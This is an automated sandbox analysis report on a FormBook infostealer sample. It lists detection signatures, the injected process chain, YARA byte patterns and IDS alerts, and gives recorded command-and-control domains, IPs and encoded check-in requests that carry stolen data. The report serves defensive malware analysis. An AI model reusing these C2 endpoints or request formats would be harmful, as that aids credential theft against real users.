Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe

Overview

General Information

Sample name:SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
Analysis ID:1510970
MD5:a14a692229ddbfa219cec344079da149
SHA1:44502f867c662e95710b72c78f754ff24e1b8f1b
SHA256:052dca4820559afcefaa0fc6769f8095e160d887a1e08e9393e4da9d3fa2a7eb
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found API chain indicative of sandbox detection
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe (PID: 6724 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe" MD5: A14A692229DDBFA219CEC344079DA149)
    • svchost.exe (PID: 6776 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • ORAQROHXYZcgef.exe (PID: 3604 cmdline: "C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • RmClient.exe (PID: 4296 cmdline: "C:\Windows\SysWOW64\RmClient.exe" MD5: CE765DCC7CDFDC1BFD94CCB772C75E41)
          • ORAQROHXYZcgef.exe (PID: 736 cmdline: "C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 5304 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2bdb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x1402f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2bdb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x1402f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 9 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          1.2.svchost.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e063:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x162e2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          1.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            1.2.svchost.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2ee63:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x170e2:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Uncommon Svchost Parent Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", CommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, ParentProcessId: 6724, ParentProcessName: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, ProcessCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", ProcessId: 6776, ProcessName: svchost.exe
            Sigma detected: Windows Processes Suspicious Parent Directory
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", CommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, ParentProcessId: 6724, ParentProcessName: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, ProcessCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe", ProcessId: 6776, ProcessName: svchost.exe

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-09-13T19:30:11.071119+020020507451Malware Command and Control Activity Detected192.168.2.4497373.33.130.19080TCP
            2024-09-13T19:30:56.233945+020020507451Malware Command and Control Activity Detected192.168.2.449741199.115.230.22280TCP
            2024-09-13T19:31:09.494211+020020507451Malware Command and Control Activity Detected192.168.2.4497453.33.130.19080TCP
            2024-09-13T19:31:22.866441+020020507451Malware Command and Control Activity Detected192.168.2.449749194.195.220.4180TCP
            2024-09-13T19:31:36.033060+020020507451Malware Command and Control Activity Detected192.168.2.44975315.197.225.12880TCP
            2024-09-13T19:31:50.444041+020020507451Malware Command and Control Activity Detected192.168.2.449757103.21.221.480TCP
            2024-09-13T19:32:03.679608+020020507451Malware Command and Control Activity Detected192.168.2.449761192.241.156.13680TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-09-13T19:31:33.498757+020028563181A Network Trojan was detected192.168.2.44975215.197.225.12880TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeAvira: detected
            Multi AV Scanner detection for submitted file
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeReversingLabs: Detection: 42%
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeJoe Sandbox ML: detected
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: RmClient.pdbGCTL source: svchost.exe, 00000001.00000002.2231083991.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231062737.0000000003200000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000002.3583323304.0000000000D97000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ORAQROHXYZcgef.exe, 00000005.00000000.2149424077.00000000009CE000.00000002.00000001.01000000.00000005.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3582301918.00000000009CE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1739203419.0000000003760000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1737222200.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2130663593.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2132608555.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.000000000399E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002C90000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002E2E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2233106596.000000000292D000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2240922539.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1739203419.0000000003760000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000003.1737222200.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2130663593.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2132608555.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231220463.000000000399E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, RmClient.exe, 00000006.00000002.3584409157.0000000002C90000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3584409157.0000000002E2E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2233106596.000000000292D000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.2240922539.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: RmClient.exe, 00000006.00000002.3585223608.00000000032BC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.3582680606.000000000267D000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310724148.00000000030DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2544137596.000000001652C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: RmClient.exe, 00000006.00000002.3585223608.00000000032BC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.3582680606.000000000267D000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000000.2310724148.00000000030DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2544137596.000000001652C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: RmClient.pdb source: svchost.exe, 00000001.00000002.2231083991.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2231062737.0000000003200000.00000004.00000020.00020000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000005.00000002.3583323304.0000000000D97000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091DADC lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_0091DADC
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009268AD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_009268AD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092680C FindFirstFileW,FindClose,0_2_0092680C
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091CF94 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0091CF94
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091D2C7 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0091D2C7
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00929560 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00929560
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009296BB SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_009296BB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00929A49 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00929A49
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00925BB5 FindFirstFileW,FindNextFileW,FindClose,0_2_00925BB5
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0015C3A0 FindFirstFileW,FindNextFileW,FindClose,6_2_0015C3A0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 4x nop then xor eax, eax6_2_00149AE0
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 4x nop then pop edi6_2_0014DFD3
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 4x nop then mov ebx, 00000004h6_2_029D04DF

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49749 -> 194.195.220.41:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49761 -> 192.241.156.136:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49753 -> 15.197.225.128:80
            Source: Network trafficSuricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.4:49752 -> 15.197.225.128:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49757 -> 103.21.221.4:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49745 -> 3.33.130.190:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49737 -> 3.33.130.190:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49741 -> 199.115.230.222:80
            Source: Joe Sandbox ViewIP Address: 15.197.225.128 15.197.225.128
            Source: Joe Sandbox ViewIP Address: 15.197.225.128 15.197.225.128
            Source: Joe Sandbox ViewIP Address: 3.33.130.190 3.33.130.190
            Source: Joe Sandbox ViewASN Name: LINKNET-ID-APLinknetASNID LINKNET-ID-APLinknetASNID
            Source: Joe Sandbox ViewASN Name: NEXINTO-DE NEXINTO-DE
            Source: Joe Sandbox ViewASN Name: TANDEMUS TANDEMUS
            Source: Joe Sandbox ViewASN Name: IT7NETCA IT7NETCA
            Source: Joe Sandbox ViewASN Name: AMAZONEXPANSIONGB AMAZONEXPANSIONGB
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092CD62 InternetReadFile,SetEvent,GetLastError,SetEvent,0_2_0092CD62
            Source: global trafficHTTP traffic detected: GET /z6kq/?4N=bmvBqOFTp4JT+uMd1qAjxjsooXgcWApZ2hy00dGXE/EHLUOh31d+gItaXdwR0EhAvEv1PFbZE4a6Qvx04s9f7DO6vj73IEDziUKJOJ9cSNkW/JV3l24UMG4=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.filelabel.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /o30j/?4N=1yCKC9vxOtWMTPaOJgyLEtiq9/sbJyO2oy08E94PP7q+DYsIZuqv6el04nIEaLMbtnEtPCSmAGf5AtXfyPmsRuGvldH0TMH/TZ/pyZwW/ceUaGtf+vHhios=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.qmmkl.buzzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /f16b/?RBEDm=CZp0JDSHidn4fXc&4N=yRqtf/h8NNWEJSRTjADVftGKWfUTDrEQ2z3S1p+uVNu5nTwP64DUcjBPfEhLfjmAIKSCpSnh7hZpBoBKzMqWV4LbWGVJDdFJlhrrMZ3qGPbmIdEufojbbKI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.weatherbook.liveConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /junu/?4N=13JVMLJJH+qIBC3bKO+NOYsZ+zFZu1zvRFVHRIKX7SkP/tydC7ina607qstATGZ/7IHAI/6FpDeM8WkxnZQaP/hPkjdRncE64pLZQJxXMJS4z1rdgqbrJyk=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.gemtastic.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /61ud/?RBEDm=CZp0JDSHidn4fXc&4N=2DBHbBoX2+6nb8C0Yibv3MqYBPhH+NlFRg1Nmu0/ZA2WoX/U3YhT23vFQ76/xgNi1iI7jMUPHnRz5HyHcx3d1WSupjI/OO0+3Ph0io731eiQgdga4T5UO0k= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.airbatchnow.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /r9rj/?4N=aogCWYQt76vYu0d4luZRp+fpF4NfPnj2O7M7hRst638B8YbrbYp757OzsKpEGT6sefQSU1s6IdJJ4zJyggemFFoDICvh6C9DXBpfqxijk0cweu2uAMh3EgI=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.tempatmudisini01.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficHTTP traffic detected: GET /3t5s/?RBEDm=CZp0JDSHidn4fXc&4N=J+pgKEY4jhOGHRm1OdtIGyQNufdjV05lDOa6EPhtVEvBE7NkekcBgh6NmTxhkIXGd3q71wRb9pYcuSS+PjWA+ytV98iLu4MLifm6YZlEH2HZyoyRqozUGRs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,enHost: www.luismoreno.monsterConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
            Source: global trafficDNS traffic detected: DNS query: www.filelabel.info
            Source: global trafficDNS traffic detected: DNS query: www.qmmkl.buzz
            Source: global trafficDNS traffic detected: DNS query: www.weatherbook.live
            Source: global trafficDNS traffic detected: DNS query: www.gemtastic.shop
            Source: global trafficDNS traffic detected: DNS query: www.airbatchnow.online
            Source: global trafficDNS traffic detected: DNS query: www.tempatmudisini01.click
            Source: global trafficDNS traffic detected: DNS query: www.luismoreno.monster
            Source: global trafficDNS traffic detected: DNS query: www.cenfresh.life
            Source: unknownHTTP traffic detected: POST /o30j/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enHost: www.qmmkl.buzzContent-Length: 199Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Connection: closeOrigin: http://www.qmmkl.buzzReferer: http://www.qmmkl.buzz/o30j/User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36Data Raw: 34 4e 3d 34 77 71 71 42 49 69 72 47 75 2b 75 52 2f 33 39 48 69 53 49 46 4b 53 6f 68 36 45 79 4a 79 75 67 6b 78 34 65 4b 49 46 7a 4e 4f 69 56 43 5a 6f 32 59 36 4f 72 31 38 70 39 68 7a 59 37 52 65 73 2f 33 41 55 73 45 54 53 6b 50 7a 43 73 63 66 36 70 33 4b 6d 4d 51 4e 79 6d 6c 4f 32 58 42 4e 71 71 55 4a 33 44 79 4c 70 48 35 75 50 31 56 41 52 66 79 74 57 7a 68 37 36 64 72 69 6b 56 44 46 52 33 6d 47 55 73 34 70 4d 61 32 4a 79 66 61 73 51 38 79 2f 69 62 43 43 36 48 52 63 70 41 4c 76 79 53 48 35 59 64 68 75 63 57 68 67 6a 55 79 57 54 72 54 4d 68 30 36 71 70 53 32 52 45 6d 69 36 77 75 74 77 3d 3d Data Ascii: 4N=4wqqBIirGu+uR/39HiSIFKSoh6EyJyugkx4eKIFzNOiVCZo2Y6Or18p9hzY7Res/3AUsETSkPzCscf6p3KmMQNymlO2XBNqqUJ3DyLpH5uP1VARfytWzh76drikVDFR3mGUs4pMa2JyfasQ8y/ibCC6HRcpALvySH5YdhucWhgjUyWTrTMh06qpS2REmi6wutw==
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Fri, 13 Sep 2024 17:31:33 GMTContent-Type: text/htmlContent-Length: 520Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 